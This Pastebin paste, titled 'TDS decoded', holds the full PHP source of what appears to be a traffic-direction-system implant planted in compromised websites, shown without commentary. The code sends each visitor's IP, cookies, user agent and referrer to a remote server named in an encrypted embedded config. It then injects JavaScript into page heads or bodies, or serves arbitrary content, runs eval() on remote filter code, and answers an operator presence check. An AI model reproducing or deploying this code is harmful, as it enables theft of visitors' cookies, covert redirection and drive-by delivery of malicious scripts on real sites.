SHARE
TWEET

TDS decoded

a guest Jan 9th, 2018 128 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. if (!defined('ALREADY_RUN_1afw8gna4x2t43f623b5wh6fdj49ui8cs6f7ju5bnm'))
  4. {
  5.     define('ALREADY_RUN_1afw8gna4x2t43f623b5wh6fdj49ui8cs6f7ju5bnm', 1);
  6.  
  7.     class TdsClient
  8.     {
  9.         private $config;
  10.         private $config_dict;
  11.  
  12.         public function __construct($config, $uid)
  13.         {
  14.             $this->config = $config;
  15.             $this->uid = $uid;
  16.         }
  17.  
  18.         private function _get_config()
  19.         {
  20.             if (empty($this->config_dict))
  21.             {
  22.                 $this->config_dict = @unserialize($this->_decrypt(TdsClient::b64d($this->config), "tmnyrbtvchx5bny"));
  23.             }
  24.  
  25.             return $this->config_dict;
  26.         }
  27.  
  28.         private function _get_cookie_name()
  29.         {
  30.             return md5('tds_cookie' . $_SERVER['HTTP_HOST']);
  31.         }
  32.  
  33.         private function _http_query_curl($url, $content)
  34.         {
  35.             if (!function_exists('curl_version'))
  36.             {
  37.                 return "";
  38.             }
  39.  
  40.             $ch = curl_init();
  41.  
  42.             curl_setopt($ch, CURLOPT_URL, $url);
  43.  
  44.             if (!empty($content))
  45.             {
  46.                 curl_setopt($ch, CURLOPT_POST, 1);
  47.                 curl_setopt($ch, CURLOPT_POSTFIELDS, $content);
  48.             }
  49.  
  50.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
  51.  
  52.             $server_output = curl_exec($ch);
  53.             curl_close($ch);
  54.  
  55.             return $server_output;
  56.         }
  57.  
  58.         private function _http_query_native($url, $content)
  59.         {
  60.             $context = Array('http' => Array(
  61.                 'method' => 'GET',
  62.                 'ignore_errors' => true));
  63.  
  64.             if (!empty($content))
  65.             {
  66.                 $context['http']['method'] = 'POST';
  67.                 $context['http']['header'] = 'Content-type: application/x-www-form-urlencoded';
  68.                 $context['http']['content'] = $content;
  69.             }
  70.             $context = stream_context_create($context);
  71.  
  72.             return @file_get_contents($url, FALSE, $context);
  73.         }
  74.  
  75.         private function _http_query($url, $query)
  76.         {
  77.             $content = $this->_http_query_curl($url, $query);
  78.             if (!$content)
  79.             {
  80.                 $content = $this->_http_query_native($url, $query);
  81.             }
  82.  
  83.             return $content;
  84.         }
  85.  
  86.         private function _get_request_ip()
  87.         {
  88.             $ip_keys = array('REMOTE_ADDR', );
  89.             foreach ($ip_keys as $key)
  90.             {
  91.                 if (array_key_exists($key, $_SERVER) === TRUE)
  92.                 {
  93.                     foreach (explode(',', $_SERVER[$key]) as $ip)
  94.                     {
  95.                         $ip = trim($ip);
  96.                         if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== FALSE)
  97.                         {
  98.                             return $ip;
  99.                         }
  100.                     }
  101.                 }
  102.             }
  103.  
  104.             return "";
  105.         }
  106.  
  107.         private function _query()
  108.         {
  109.             $tds_config = $this->_get_config();
  110.  
  111.             $ip = $tds_config["tds_ip"];
  112.             $port = $tds_config["tds_port"];
  113.             $path = $tds_config["tds_path"];
  114.  
  115.             $route = "yor8afx3";
  116.             if (!empty($tds_config["route"]))
  117.             {
  118.                 $route = $tds_config["route"];
  119.             }
  120.  
  121.             $query = Array();
  122.             $query['i'] = $this->_get_request_ip();
  123.             $query['p'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];
  124.             $query['u'] = @$_SERVER['HTTP_USER_AGENT'];
  125.             $query['a'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];
  126.             $query['r'] = @$_SERVER['HTTP_REFERER'];
  127.             $query['ae'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];
  128.             $query['aa'] = @$_SERVER['HTTP_ACCEPT'];
  129.             $query['ac'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];
  130.             $query['c'] = @$_SERVER['HTTP_CONNECTION'];
  131.             $query['co'] = @serialize(@$_COOKIE);
  132.             $query['cp'] = serialize(Array("a"=>$route, "uid"=>$this->uid));
  133.  
  134.             $query = http_build_query($query);
  135.             $url = "http://" . $ip . ":" . $port . $path;
  136.  
  137.             return $this->_http_query($url, $query);
  138.         }
  139.  
  140.         public function process_request()
  141.         {
  142.             // Set expires 1 day
  143.             setcookie($this->_get_cookie_name(), base64_encode($this->_get_cookie_name()), time()+(60*60*24), "/", $_SERVER['HTTP_HOST']);
  144.  
  145.             $content = @unserialize($this->_query());
  146.  
  147.             if (isset($content["options"]))
  148.             {
  149.                 foreach ($content["cookies"] as $key => $value_and_ttl)
  150.                 {
  151.                     @setcookie($key, $value_and_ttl[0], time() + $value_and_ttl[0], "/", $_SERVER['HTTP_HOST']);
  152.                 }
  153.  
  154.                 if (isset($content["options"]["type"]) && $content["options"]["type"]=="inject")
  155.                 {
  156.                     $GLOBALS['injectable_js_code'] = TdsClient::b64d($content["data"]);
  157.                     ob_start("TdsClient::postrender_handler");
  158.                 }
  159.                 else
  160.                 {
  161.                     foreach ($content["headers"] as $key => $value)
  162.                     {
  163.                         @header("$key: $value");
  164.                     }
  165.  
  166.                     if (strlen($content["data"]) != 0)
  167.                     {
  168.                         exit(TdsClient::b64d($content["data"])); # TODO: check if its file
  169.                    }
  170.                 }
  171.             }
  172.         }
  173.  
  174.         public function try_process_check_request()
  175.         {
  176.             foreach ($_COOKIE as $key=>$value)
  177.             {
  178.                 $data = $value;
  179.                 $data_key = $key;
  180.             }
  181.  
  182.             if (empty($data))
  183.             {
  184.                 foreach ($_POST as $key=>$value)
  185.                 {
  186.                     $data = $value;
  187.                     $data_key = $key;
  188.                 }
  189.             }
  190.  
  191.             if (!empty($data_key) && !empty($data))
  192.             {
  193.                 $data = @unserialize($this->_decrypt(TdsClient::b64d($data), $data_key));
  194.  
  195.                 if (isset($data['ak']) && $this->uid==$data['ak'])
  196.                 {
  197.                     if ($data['sa'] == 'check')
  198.                     {
  199.                         return TRUE;
  200.                     }
  201.                 }
  202.             }
  203.  
  204.             return FALSE;
  205.         }
  206.  
  207.         public function can_process_request()
  208.         {
  209.             if (isset($_COOKIE[$this->_get_cookie_name()]))
  210.             {
  211.                 return FALSE;
  212.             }
  213.  
  214.             $tds_config = $this->_get_config();
  215.  
  216.             eval("function is_acceptable_tds_request(){\n" . $tds_config["tds_filter"] . "\n}");
  217.  
  218.             if (function_exists("is_acceptable_tds_request"))
  219.             {
  220.                 if (!is_acceptable_tds_request())
  221.                 {
  222.                     return FALSE;
  223.                 }
  224.             }
  225.  
  226.             return TRUE;
  227.         }
  228.  
  229.         static public function postrender_handler($buffer)
  230.         {
  231.             // prepare page content
  232.             $content = $buffer;
  233.             $js_code = $GLOBALS['injectable_js_code'];
  234.  
  235.             if (strpos(strtolower($content), "</head>") !== FALSE)
  236.             {
  237.                 $content = str_replace("</head>", $js_code . "\n" . "</head>", $content);
  238.             }
  239.             elseif (strpos(strtolower($content), "</body>") !== FALSE)
  240.             {
  241.                 $content = str_replace("</body>", $js_code . "\n" . "</body>", $content);
  242.             }
  243.  
  244.             return $content;
  245.         }
  246.  
  247.         private function _decrypt_phase($data, $key)
  248.         {
  249.             $out_data = "";
  250.  
  251.             for ($i = 0; $i < strlen($data);) {
  252.                 for ($j = 0; $j < strlen($key) && $i < strlen($data); $j++, $i++) {
  253.                     $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
  254.                 }
  255.             }
  256.  
  257.             return $out_data;
  258.         }
  259.  
  260.         private function _decrypt($data, $key)
  261.         {
  262.             return $this->_decrypt_phase($this->_decrypt_phase($data, $key), $this->uid);
  263.         }
  264.  
  265.         static public function b64d($input)
  266.         {
  267.             return base64_decode($input);
  268.         }
  269.     }
  270.  
  271.     $uid = 'c59662d0-662e-4190-a381-04a2b9d0d448';
  272.     $config = 'dmJidT8jKnN0fDxocjcoZ28tbitrbikrOnlsKWJ4MmZ5d35gNTc+LRF3aSwgYGAvJm1sZ3djZyJ1YG5kfnt7L2MEdi9rKCl/I2AzeGNpJXhtKyZxJXFeABIbD0kPGmQdARNXH0lYWRNYFBEZXmAGYmFsLG9fEQxsMTwmaC4/KWMpeG1HAR9KEEoFRmVOFBYLVAxPFx0bRAIPDgoXRBoQHGZYZiZHRidOQ2YjZjQoaTwkJDRhURkbHAFrHUwzU0QKDSorZXw7OWMlNW9qBx8RAloFQgYtBRIORxwPDQtVWR8TBxUIOwJ/ZTMvZWl0PzgLKTh7KHhzN2kvJS1jZT44IDQoYSAuKyQkfiVoNzI7JW0vIismMidwJm5+Zz12PDokezA3JzItayd3MzQubS0pJik9LWspIyx5IDlwOnwyfDBlKD45YiNrKDk4eyEqISA1aT4lJSxkJWo5ODUgNTVgJ3o0aTotJSoocz0lMyIxcyMsMSFsewEiMX1xPTR9bGMRCwkGBkkSS3pCGRIKSBYJGxxYRxkRDA97QXZ/SEUoSBMmen90Njx7PmI1MABGEB9IOlZKP1ZWEEgpLTI0bDZpc38oK348OGtoax4sOWl/KXkxYH55RmkoNSZ+K2Q4c3cXPyEpIDN9fjtwd2ZEfD53JXd4Om4mZ20HJSljN3dsPH1kYBh+aTckdmYpbyhlEHI7JTV7aTN2LG9+CnQ5ejR4aGhwN2kScCR3YGxqaXR5e09/PCMod2t4cCtvTHN6IyF1MG96eWFbKDk9JHR7MH9xahN9LHppdXh4ZH4gFz4xY2kgcGwqLgduNiMoMmVjYmd+bD9gK3hudSx6biA9KyxedGpkdnE6bHlxNTArHm09Yy9xOgRlYSgqZ2x+eTB/DGZvIgY1L2E0cTdiJTEHJGIreHhsPwFsODQMPDozNChrYChmbHtsFWliInkzYhR+eX1tN394E2snYBpjPSFpcyYjMQhxezR9bGBhBGM1NGEpfjR5OTQ7YywoAmEoIXJ0ZXQsdC87PC43KHBodTZzaHkoZGg2fDR3PxAjcTMwbXxwPWVgHm83aDBlD3hmfiB9aGMuN2ImKH9rYyY0TVMtF017YmBxZS44fCg5dCcFJSomOn94dDt9NT9gai8XOR1VBRANTh9XcwoOQQgGHBAPRAkefhwsZgJAbHxjaT0OTDR6LGhxdnphZT0jOjY+MAAPEh1CPE5HZXR+dG5cRjpDUkFeImk0ZS9kbRIIQgZhfHV0PGZuYC84bwAmJDs7ZyJ1YG5nfnsgLHE3PzJiLzgjcTMwYGAvJ3R1YDQ1fgpoI3VyKjZsdXltdXY2dC06KG8rcndkKXF5eT0=';
  273.  
  274.     $client = new TdsClient($config, $uid);
  275.  
  276.     if ($client->try_process_check_request())
  277.     {
  278.         echo "<tds>".PHP_EOL;
  279.         echo $uid;
  280.         echo "</tds>".PHP_EOL;
  281.     }
  282.     else
  283.     {
  284.         if ($client->can_process_request())
  285.         {
  286.             $client->process_request();
  287.         }
  288.     }
  289. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top